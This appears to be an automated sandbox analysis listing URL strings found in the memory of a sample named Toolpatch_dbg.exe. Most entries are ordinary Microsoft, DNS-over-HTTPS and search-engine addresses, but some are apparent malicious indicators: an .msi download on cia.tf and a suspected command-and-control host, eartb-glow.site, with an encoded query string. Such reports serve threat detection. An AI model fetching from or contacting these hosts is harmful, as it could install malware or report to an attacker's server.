Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneNote_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2047411888.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2049085397.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/SharePoint_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/SharePoint_24x.svg5.47
Source: Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Skype_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2052525613.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Teams_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Visio_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Word_24x.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173153308.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Alert//Alert_WI_O.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/CloudyV3.svg
Source: Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://azureedge.net
Source: Toolpatch_dbg.exe, 00000009.00000003.2092903817.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-strea
Source: Toolpatch_dbg.exe, 00000009.00000003.2075470664.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069947708.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: Toolpatch_dbg.exe, 00000009.00000003.1955699547.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1953307636.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://c.msn.com/c.gif?rnd=1739637571971&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&t
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://chromium.dns.nextdns.io
Source: Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1769389329.0000000002E2C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1806692515.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1787714803.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1800405085.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1800019236.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1769364128.0000000002E1F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1802747498.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1769247015.0000000002E1F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cia.tf/521d636a01093f9235cfbf0b2bfd5f69.msi
Source: Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cia.tf/521d636a01093f9235cfbf0b2bfd5f69.msi9126
Source: Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cia.tf/521d636a01093f9235cfbf0b2bfd5f69.msia
Source: Toolpatch_dbg.exe, 00000009.00000003.1786169025.0000000007F4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cia.tf:443/521d636a01093f9235cfbf0b2bfd5f69.msi
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cleanbrowsing.org/privacy
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2051794331.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2090407314.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1982174293.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034197542.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016200651.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.googleusercontent.com
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: Toolpatch_dbg.exe, 00000009.00000003.2075470664.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956447109.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016976300.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986704886.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016200651.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956447109.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016976300.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Toolpatch_dbg.exe, 00000009.00000003.1956447109.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016976300.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn.net
Source: Toolpatch_dbg.exe, 00000009.00000003.2051794331.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2090407314.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1982174293.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034197542.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016200651.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn0
Source: Toolpatch_dbg.exe, 00000009.00000003.1976475261.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049612547.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msne=?
Source: Toolpatch_dbg.exe, 00000009.00000003.1956447109.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016976300.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnj
Source: Toolpatch_dbg.exe, 00000009.00000003.2075470664.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/reportcat=msn
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations/
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations/
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: Toolpatch_dbg.exe, 00000009.00000003.1973282262.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2112908295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088292872.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014641009.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031791753.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/speed/public-dns/privacy
Source: Toolpatch_dbg.exe, 00000009.00000003.1973282262.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2112908295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088292872.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014641009.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031791753.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/speed/public-dns/privacyquery
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.google/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.levonet.sk/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.quad9.net/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.sb/privacy/
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns.sb/privacy/Char
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns10.quad9.net/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns11.quad9.net/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dns64.dns.google/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1976475261.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049612547.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dnsnl.alekberg.net/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
Source: Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
Source: Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.cox.net/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.dns.sb/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.familyshield.opendns.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.opendns.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.quickline.ch/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://doh.xfinity.com/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2276523444.0000000007F79000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2276455772.0000000007F59000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1777802953.0000000000695000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2241954473.0000000007F79000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2241841074.0000000007F59000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://eartb-glow.site/
Source: Toolpatch_dbg.exe, 00000009.00000003.2252261146.0000000007F59000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://eartb-glow.site/1
Source: Toolpatch_dbg.exe, 00000009.00000003.2263104460.0000000002E61000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://eartb-glow.site/1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2Bqw
